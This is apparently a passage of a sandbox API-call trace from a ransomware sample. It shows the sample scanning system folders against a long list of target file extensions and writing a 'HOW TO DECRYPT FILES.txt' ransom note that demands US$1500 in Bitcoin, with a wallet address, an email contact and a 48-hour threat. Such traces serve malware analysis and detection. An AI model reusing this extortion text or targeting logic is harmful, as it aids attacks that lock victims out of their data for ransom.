PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.pfx") returned 0 [0111.891] lstrlenA (lpString="*.pfx") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.pem") returned 0 [0111.891] lstrlenA (lpString="*.pem") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.p12") returned 0 [0111.891] lstrlenA (lpString="*.p12") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.gpg") returned 0 [0111.891] lstrlenA (lpString="*.gpg") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.vsd") returned 0 [0111.891] lstrlenA (lpString="*.vsd") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.odg") returned 0 [0111.891] lstrlenA (lpString="*.odg") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.raw") returned 0 [0111.891] lstrlenA (lpString="*.raw") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.nef") returned 0 [0111.891] lstrlenA (lpString="*.nef") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.svg") returned 0 [0111.891] lstrlenA (lpString="*.svg") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.psd") returned 0 [0111.891] lstrlenA (lpString="*.psd") returned 5 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.vmx") returned 0 [0111.891] lstrlenA (lpString="*.vmx") returned 5 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.vmdk") returned 0 [0111.892] lstrlenA (lpString="*.vmdk") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.vdi") returned 0 [0111.892] lstrlenA (lpString="*.vdi") returned 5 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.lay6") returned 0 [0111.892] lstrlenA (lpString="*.lay6") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mpeg") returned 0 [0111.892] lstrlenA (lpString="*.mpeg") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.djvu") returned 0 [0111.892] lstrlenA (lpString="*.djvu") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.tiff") returned 0 [0111.892] lstrlenA (lpString="*.tiff") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.backup") returned 0 [0111.892] lstrlenA (lpString="*.backup") returned 8 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.pdf") returned 0 [0111.892] lstrlenA (lpString="*.pdf") returned 5 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.cert") returned 0 [0111.892] lstrlenA (lpString="*.cert") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.docm") returned 0 [0111.892] lstrlenA (lpString="*.docm") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.xlsm") returned 0 [0111.892] lstrlenA (lpString="*.xlsm") returned 6 [0111.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.dwg") returned 0 [0111.892] lstrlenA (lpString="*.dwg") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.nd") returned 0 [0111.893] lstrlenA (lpString="*.nd") returned 4 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.tlg") returned 0 [0111.893] lstrlenA (lpString="*.tlg") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.lgb") returned 0 [0111.893] lstrlenA (lpString="*.lgb") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mov") returned 0 [0111.893] lstrlenA (lpString="*.mov") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.xdw") returned 0 [0111.893] lstrlenA (lpString="*.xdw") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.ods") returned 0 [0111.893] lstrlenA (lpString="*.ods") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.wav") returned 0 [0111.893] lstrlenA (lpString="*.wav") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mp3") returned 0 [0111.893] lstrlenA (lpString="*.mp3") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.aiff") returned 0 [0111.893] lstrlenA (lpString="*.aiff") returned 6 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.flac") returned 0 [0111.893] lstrlenA (lpString="*.flac") returned 6 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.m4a") returned 0 [0111.893] lstrlenA (lpString="*.m4a") returned 5 [0111.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.csv") returned 0 [0111.893] lstrlenA (lpString="*.csv") returned 5 [0111.893] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd595aab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd595aab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd595aab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="naphlpr.ni.dll", cAlternateFileName="NAPHLP~1.DLL")) returned 0 [0111.894] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.894] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="03d99e593bc94e308005a972667d7ca9", cAlternateFileName="03D99E~1")) returned 0 [0111.894] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.894] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x680070, cFileName="napinit", cAlternateFileName="")) returned 1 [0111.894] lstrcmpA (lpString1=".", lpString2="napinit") returned -1 [0111.894] lstrcmpA (lpString1="..", lpString2="napinit") returned -1 [0111.894] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.894] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="napinit" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit" [0111.894] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit") returned 54 [0111.894] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.895] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.895] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.895] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.895] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.895] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a64d6cb9f99621449821066eca9291e9", cAlternateFileName="A64D6C~1")) returned 1 [0111.895] lstrcmpA (lpString1=".", lpString2="a64d6cb9f99621449821066eca9291e9") returned -1 [0111.895] lstrcmpA (lpString1="..", lpString2="a64d6cb9f99621449821066eca9291e9") returned -1 [0111.895] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\*.*") returned="*.*" [0111.895] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\", lpString2="a64d6cb9f99621449821066eca9291e9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9" [0111.895] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9") returned 87 [0111.895] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.895] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.895] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.896] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.896] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.896] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd5d8, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x8fd5d8, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x8fd5d8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x27c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.ni.dll", cAlternateFileName="NAPINI~1.DLL")) returned 1 [0111.896] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.896] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napinit.ni.dll") returned -1 [0111.896] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napinit.ni.dll") returned -1 [0111.896] lstrcmpiA (lpString1="", lpString2="napinit.ni.dll") returned -1 [0111.896] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\*.*") returned="*.*" [0111.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\" [0111.896] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\") returned="" [0111.896] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\HOW TO DECRYPT FILES.txt" [0111.896] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\how to decrypt files.txt")) returned 0xffffffff [0111.897] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.898] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.898] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.899] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.899] CloseHandle (hObject=0x90) returned 1 [0111.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\", lpString2="napinit.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll" [0111.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.ems") returned 0 [0111.899] lstrlenA (lpString="*.ems") returned 5 [0111.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.db") returned 0 [0111.899] lstrlenA (lpString="*.db") returned 4 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.dbf") returned 0 [0111.900] lstrlenA (lpString="*.dbf") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.myox") returned 0 [0111.900] lstrlenA (lpString="*.myox") returned 6 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.myo") returned 0 [0111.900] lstrlenA (lpString="*.myo") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbw") returned 0 [0111.900] lstrlenA (lpString="*.qbw") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbb") returned 0 [0111.900] lstrlenA (lpString="*.qbb") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbm") returned 0 [0111.900] lstrlenA (lpString="*.qbm") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbo") returned 0 [0111.900] lstrlenA (lpString="*.qbo") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbx") returned 0 [0111.900] lstrlenA (lpString="*.qbx") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qba") returned 0 [0111.900] lstrlenA (lpString="*.qba") returned 5 [0111.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qby") returned 0 [0111.900] lstrlenA (lpString="*.qby") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qbj") returned 0 [0111.901] lstrlenA (lpString="*.qbj") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.ofx") returned 0 [0111.901] lstrlenA (lpString="*.ofx") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.qif") returned 0 [0111.901] lstrlenA (lpString="*.qif") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mye") returned 0 [0111.901] lstrlenA (lpString="*.mye") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mbox") returned 0 [0111.901] lstrlenA (lpString="*.mbox") returned 6 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.eml") returned 0 [0111.901] lstrlenA (lpString="*.eml") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.pst") returned 0 [0111.901] lstrlenA (lpString="*.pst") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.ost") returned 0 [0111.901] lstrlenA (lpString="*.ost") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.idx") returned 0 [0111.901] lstrlenA (lpString="*.idx") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.dbx") returned 0 [0111.901] lstrlenA (lpString="*.dbx") returned 5 [0111.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.sql") returned 0 [0111.901] lstrlenA (lpString="*.sql") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mdb") returned 0 [0111.902] lstrlenA (lpString="*.mdb") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.fdb") returned 0 [0111.902] lstrlenA (lpString="*.fdb") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.wab") returned 0 [0111.902] lstrlenA (lpString="*.wab") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.dat") returned 0 [0111.902] lstrlenA (lpString="*.dat") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.txt") returned 0 [0111.902] lstrlenA (lpString="*.txt") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.jpeg") returned 0 [0111.902] lstrlenA (lpString="*.jpeg") returned 6 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.jpg") returned 0 [0111.902] lstrlenA 